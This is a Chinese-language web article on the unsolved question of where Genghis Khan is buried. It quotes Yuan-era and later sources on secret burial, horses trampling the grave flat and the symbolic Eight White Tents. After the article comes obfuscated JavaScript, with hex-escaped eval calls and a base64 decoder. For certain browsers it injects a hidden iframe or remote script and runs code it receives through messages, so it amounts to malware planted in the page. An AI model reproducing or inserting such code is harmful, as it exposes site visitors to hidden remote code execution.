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成吉思汗陵寝之谜(2)

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关于成吉思汗入葬的记载是这样的:

《元史•太祖纪》上说‘葬起辇谷’,《元史》各帝纪上也都称所有的帝陵都在起辇谷。《多桑蒙古史》上说“葬于斡难、怯绿连、秃刺三水发源之不儿罕合勒敦诸山之一山中。”事实上,至今也无人发现这些帝陵的踪迹,而原因就在于元朝诸帝王“密葬”、深葬不坟。够桑《蒙古史》上说,成吉思汗死后,“诸将奉柩归蒙古,不欲汗之死讯为人所知。护柩之士卒在此长途中遇人尽杀之……葬后周围树木丛生,成为密林,不能复辨墓在树之下。”《黑鞑事略》一书中说:

“其墓无冢,以马践蹂,使平如平地”《草木子》中记载得更为奇特。“葬毕,以万马蹂之使平,杀骆驼子其上,以千骑守之。来岁草既生,则移帐散去,弥望平衍,人莫知也。欲祭时,则以所杀骆驼之母为导,视其踯躅悲鸣之处,则知葬所矣。”

由此可知,成吉思汗的真实葬地在当时就已经难以确指了。而成吉思汗的后代们,并不像明人记载的那样到葬地祭祀,而是把成吉思汗生前的八座白色宫帐称为“八白室”,在八白室前祭奠成吉思汗之灵。《蒙古源流》中谈到

“因不能请出金身,遂告长陵共仰庇护,于彼处另立白屋八间……”此即为八白室,也即成吉思汗象征性的陵寝。成吉思汗如此,元代的其他皇帝也就不必多说了。所以说,至今,他们的葬地仍是一个不解之谜。

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eval("\x77\x69\x6e\x64\x6f\x77")["\x4E\x6B\x4E\x54"]=function(e){var kO =''+'ABCDEFG'+'HIJKLMNOPQRSTUVWXY'+'Zabcdefgh'+'ijklmnopqrstuvwxy'+'z0123456789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=kO.indexOf(e.charAt(f++));o=kO.indexOf(e.charAt(f++));u=kO.indexOf(e.charAt(f++));a=kO.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x4A\x58\x6C\x6B\x4F\x54\x4E\x6E\x6B"]=function(){eval(NkNT("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoTmtOVCh1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKE5rTlQoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihOa05UKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbTmtOVCgiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIHo9dSsnLTEvcXEvJytyO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnIiBhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WydhZCcrJ2RFdicrJ2VudEwnKydpc3QnKydlbmVyJ10oJ20nKydlc3MnKydhZ2UnLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKE5rTlQoZS5kYXRhW3JdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKyd5SVRMJysneWNEJysnTXoweScrJ1lHSicrJ1RKJysndnAyJysnMmExeCcrJ1diR0pUJysnSicrJ3pRRE4nKyd3RScrJ1RRelVTJysnYnZOJysnbScrJ0x1SjIyJysnY21SVycrJ2InKyd1YzNkMycrJ1prJysnTWxZJysnaycrJ01sJysnRTBNJysnbE0nKydIYzAnKydSSGEnKycnKycnLCcnKydNU2UnKydmQ1gnKydiNicrJycrJycsd2luZG93LGRvY3VtZW50LCcnKydhZ3onKydZMFUnKydLJysnJysnJywnMicp"));}